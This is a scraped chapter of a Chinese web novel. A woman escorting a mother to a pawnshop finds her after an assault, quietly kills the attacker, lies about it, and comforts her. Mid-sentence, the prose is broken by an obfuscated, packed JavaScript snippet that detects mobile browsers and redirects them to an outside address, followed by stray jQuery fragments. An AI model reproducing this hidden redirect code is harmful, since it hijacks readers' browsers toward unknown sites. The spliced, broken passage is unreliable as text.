14. 第 14 章

作品:《将医

    黄昏,季庄和杜存荀还没走到陆府门口,就看见挽娘捏着一封信急急跑过来,叫他拆开来看。


    季庄见是夏家送来的信,也不磨蹭,拆开后扫过一眼,便朝挽娘露出笑颜,“夏夫子为报救女之恩,愿收辰竹为弟子。”


    其实早在夏荷看病那日,夏夫人就与季庄仔细聊了将陆辰竹送去夏家进学的打算。


    只是夏恭迟迟不开口,季庄摸不准夏家意愿,怕是竹篮打水一场空,所以就没向挽娘和陆辰竹透露只言片语。


    陆辰竹听到自己能去夏家上学的消息,脸上看不出喜悦,倒是挽娘扑通一声跪地,泪眼婆娑拉着陆辰竹给季庄和杜存荀都磕了头,被扶起来后又是进进出出忙个不停,寻出了好几个旧镯子,迫不及待出门典当去了。


    在姜国,当官自然比行医要好。只要陆辰竹受了举荐当了官,无论官职高低,都有俸禄可拿,且子孙后代也能继承官职。大富大贵虽难及,但至少不愁吃穿,能安稳过日子。


    但进学于穷苦人家而言,并不是件易事。


    第一个坎就是束脩。弟子拜师时要行拜师礼,而行礼时要向师父呈上束脩以示敬意。季庄的师父季升收徒不论贵贱,因此季庄拜师时只送了家里仅有的三条干肉就能入师门。


    夏恭不同。挽娘每日织布所得的银两勉强只够他们娘俩吃喝,若想要尽快闲出银两来置办束脩,只能去典当。


    见挽娘要出门,陆辰竹拄着拐杖一瘸一拐想跟上去,“我也要去。”


    杜存荀看他这副腿脚不便的模样,跟过去反而徒增麻烦,笑着拦下他,“辰竹怎么这样黏人?”


    挽娘见天色将晚,叮嘱他乖乖留在家里,便忙不迭出去了,“辰竹先吃饭,娘很快回来。”


    陆辰竹见挽娘已经出了门,那眼神着急得仿佛挽娘一走就是生离死别,话也来不及说,憋着一股劲挣开杜存荀,谁知一个没站稳,差点又要摔,杜存荀眼疾手快,拎鸡崽子一样将他整个人拎起来,嘀咕,“闹什么脾气。”


    季庄看陆辰竹双脚悬空,赶紧过来把吓得脸色发白的陆辰竹抱过来放到地上捂着脑袋安抚,解释,“当铺附近常有地痞流氓流连,辰竹应该是担心挽娘遇到坏人。”


    “他脚上有伤,去了也不顶用。”杜存荀转转因为陆辰竹突然发力而差点扭伤的手腕,瞥一眼埋在季庄怀里异常安静的陆辰竹,脚步一拐也出了门,“我跟着出去溜达一圈,你们先吃饭。”


    挽娘还没走远,杜存荀喊了她一声,走快两步追上去与她并肩,“正巧我也要出去买点东西。您去东街还是西街?”


    “东街......”


    不等挽娘说完,杜存荀一拍手,“巧了,我也要去东街,一起吧。”


    挽娘闻言笑了,“姑娘好心,我都明白的。姑娘为大夫所雇,不必听信辰竹没来由的担心陪我走这一趟。”


    杜存荀本着出来了就没有空手回去的道理,挽住挽娘的手臂往前走,“多走两步的功夫罢了,您非要与我计较这些,倒显得我小气。”


    挽娘由她抱着手臂,“方才辰竹闹脾气,让姑娘见笑了。”


    “小孩都是如此,耍耍脾气无可厚非。”杜存荀说。


    “辰竹其实很懂事,只是我一直惯着他,才让他一直长不大。”挽娘说,“等上了学堂,有夫子约束同窗帮助,日后定能有所成就,好报答大夫和姑娘今日的恩情。”


    “都是大夫的功劳,我怎能跟着沾光。”杜存荀笑。


    挽娘还是那句话,“姑娘好心,我和辰竹都明白。”


    正说着,两人拐过转角,进入东街。夕阳西下,暮鼓声中,摊贩们正在收摊,两人走在街上,时不时听到稀稀拉拉几声要卖不卖的懒散吆喝。


    走到当铺门口,杜存荀自觉停步守在外头,让挽娘一个人进去典当。


    典当总要瞧瞧成色验验真假,再讨价还价一番,一时半会出不来,杜存荀趁空走到旁边一个卖糖人的摊位前,花了两个铜钱买下最后一个糖猴,想到季庄也喜欢吃甜食,于是又摸出两个铜钱买了一只栩栩如生的糖兔。


    天色开始变暗,过路百姓越走越少,暮鼓声也不知道敲了多少下,杜存荀饿得吃完了买给陆辰竹的糖猴子,却只等到出来关门上锁的掌柜。


    杜存荀心里一空,一把抓住掌柜肩膀,“方才那位拿了镯子来典当的妇人呢?去哪了?”


    掌柜被她吓得愣怔原地,“早、早已走了。”


    忽然听得几声断续呜咽,杜存荀捏紧手里的糖兔,直往当铺后一条小巷赶过去。


    但两侧青砖堆砌出的是条空无一人的死路。


    尽管如此,杜存荀脚步加快,侧身闪进仅容一人通过的小巷。


    她的耳朵远比眼睛好使。


    越来越近,才发现巷道尽头是个杂乱的拐角,扫街的笤帚和簸箕连同碎银铜钱散落一地,积年已久的污泥和尘沙将衣衫不整的男女蹭得肮脏不堪。


    见有人过来,挽娘惊恐扔掉手中匕首,跌坐在地。


    她的衣衫半开,发丝凌乱,脖子上是赫赫掐痕,左脸的巴掌印上是点点淤青,嘴唇也破了皮,正往外渗着血。


    杜存荀望进挽娘空洞的双眸,心中了然,轻声安慰,“别怕。”


    霍景光着两条腿蜷在地上不住地呻吟,捂住腹部的双手被鲜血染红,脸上一丝血色也无。杜存荀捏紧挂了糖兔子的竹签,蹲下来递给挽娘,“劳烦夫人帮我拿一下。”


    挽娘惊魂未定,哆嗦着伸出血污混杂的手接过竹签,两行泪木然流了满脸,“姑娘,我......我没......我没有办法......”


    “没事。”杜存荀转身面向霍景,一手捂住他嘴巴,一手摸出黑羽剑,找准心口位置慢慢扎进去,直到地上的人不再动弹,这才面不改色朝挽娘开口,“你扎得不深,他应是疼得晕过去了。血慢慢会止住,他不会死,没事。”


    杜存荀扯下霍景衣裳,盖住胸口外露出的剑柄和下流的下身,随即扶挽娘站起来,“有没有受伤?”


    挽娘慢慢摇头。


    “先回府吧。”


    杜存荀收拾这种渣滓已经是稀松平常,挽娘却魔怔了似的,目不转睛盯着地上的生死不分的人,身上仿佛千斤重,怎么也拉不走。


    许久,她口中艰难吐出四个字,“不能回去。”


    紧接着,又是四个字,“不要报官。”


    杜存荀知道她在担心什么,手脚麻利替她整好衣裳,又帮她理好乱发,“我会帮你瞒着,要是辰竹问起来,我就说你不小心摔了一跤,他要怪就怪我。”


    挽娘摇头,艰难咽咽口水,声音嘶哑,“辰竹聪明,衣裳脏了,他会看出来。”


    杜存荀当下立断,“不怕,我带你回我家里,咱们换了衣裳再回府。”


    挽娘终于肯站起来。


    一路上,挽娘的泪无声息干了一轮又一轮,还是流不尽。杜存荀带她进自己的卧房,让她挑一套干净衣裳,然后去烧水准备帮她擦身。


    天已经完全黑了下来,杜宅偏僻空旷,挽娘不敢一个人待着,亦步亦趋跟出来。


    提上来井水后,杜存荀挑水进厨房,挽娘也跟了过来。


    杜存荀生好了火开始烧水,挽娘就挨着她坐在灶台旁看火。


    杜存荀不知道说什么安慰的话才好,于是一股脑往里添柴,挽娘这时被烤干了泪,安静凑近灶口,伸手拨弄里头胡乱挤在一块的木柴,架成一个有口进风的柴堆。


    “这样烧,热得更快。”挽娘说。


    挽娘低沉的嗓音与方才大相径庭,杜存荀怕她哭哑了嗓子,便问她饿不饿。


    挽娘摇头。


    “我已经好久没有回来住,家里没有吃的,你要是饿了,只管与我说


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15178436|164133||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,我出去给你找些吃的。”


    “季大夫会照顾好辰术,你不必担心。”杜存荀说,“这里很安全,那人不会再来找你。等洗完澡换好衣裳,我再带你回府。辰竹一直不见你回家,会担心的。”


    听到陆辰竹的名字,挽娘眼里终于起了点生机,“辰竹是个好孩子。”


    杜存荀怕她郁郁寡欢寻短见,赶紧安慰,“辰竹生病的事大夫都跟我说了。如今辰竹进学有了盼头,也一直在长身子,依我看,不出六年,他就能自立门户,带你离开陆府。辰竹上进孝顺,必能早日让您享乐。”


    挽娘却好似没听见她的安慰,自顾自望着火堆说着,声音越来越微弱,“我身子弱,没能给辰儿一个好身子,性子也软弱,不能为辰儿在陆家争得一席之地。我将他带到这世间,却亏欠了他太多,让他吃了太多苦。”


    杜存荀听了眉头一皱,马上反驳,“怎能将错都怪到您身上?您九死一生将辰竹带到这世上,已是莫大的成就,若不是陆老爷不作为,辰竹又怎会落到如今这步境地?同是为人父母,那陆云生病咳嗽两声,陆行走遍天下为她寻良医,千里迢迢找到季庄接到府中住下日日调理,陆廷在家门口找过三两个郎中就弃辰竹不管,真要论起过错,我看最大罪人是他。”


    挽娘盯了她许久,垂眸不再看她,话里仍是梦中人不愿醒的执拗,“当初老爷待我是真心。他日日都会来楼里听我唱曲,有人欺负我,总是他护着我。帮我赎身后,他总将我带在身边。我这辈子的山川河海,都是他带我看的。”


    杜存荀叹息,直言,“山川河海有什么好看,风沙扑面海水呛鼻的苦我从小吃到大,再说了,路见不平拔刀相助有什么稀奇。您要是喜欢见山见海,等我拿到酬金,再攒些盘缠,我带您与辰竹乘船南下江南云州看看,顺道去探望我一个老朋友,他为人大方,广结善缘,定不会叫咱们败兴而归。若是盘缠不够,咱们就半道绕路去季大夫家乡连州看看,连州虽为水乡,但山峦高耸,磅礴大气,山与水刚柔并济,不失为天下美景。”


    挽娘破涕为笑,“自古女子多为情所困,姑娘如此洒脱,真是难得。”


    杜存荀听了一愣,随即笑了笑,“常言道人非草木,孰能无情,我一介□□凡躯,又怎能不为情所困。只是不为男子所困罢了。夫人历经人情冷暖生死别离,阅尽山海风雪,坚韧至今,一时受惊说些失落之语罢了,也不见得是俗人。”


    挽娘听了这番知心话,眼中竟是止住了泪,“老爷去世后,再没人与我说过这样的话。”


    杜存荀没想到陆廷还和挽娘交了心,脱口而出,“没想到陆大人对您还真是情真意切。”


    挽娘不计较她一时心直口快的冒犯,“若不是如此,我又怎肯委身于他。从前老爷日日来楼里点我唱曲,阿行偶尔也会跟着来。那时候阿行年纪小,楼里其他艺伎总喜欢逗他,看他脸红。但我一跟他说话,他就像仇人一般盯着我。阿昭不曾来过云想楼,但总会托阿行带信件给我,告诉我不要痴心妄想……”


    杜存荀突然打断,“您方才说云想楼?”


    挽娘点头,坦言,“我出身于云想楼。”


    “我有一位知心好友也在云想楼。她在楼里抚琴。”杜存荀也坦白,“等我拿到酬金,就将她赎出来。”


    挽娘听了这话却摇头,“如今世道乱,姑娘若不能妥善安置那位朋友,云想楼不失为一处庇护。”


    “我不愿她做妾。”杜存荀说,“她有心仪的男子,所以不辞千里也要回到这晏州城来,如今怎能随意委身他人。她怕我担心,只提过一次那位心上人,但我明白她心中牵挂。”


    挽娘不认同,“男子薄情且多情,且人心善变,即使那位郎君心中还有她,那位姑娘既已入了云想楼,便只能是妾室。依我看,那位姑娘与你交心,近来却从未提起心上人,想必早已经明白其中道理。”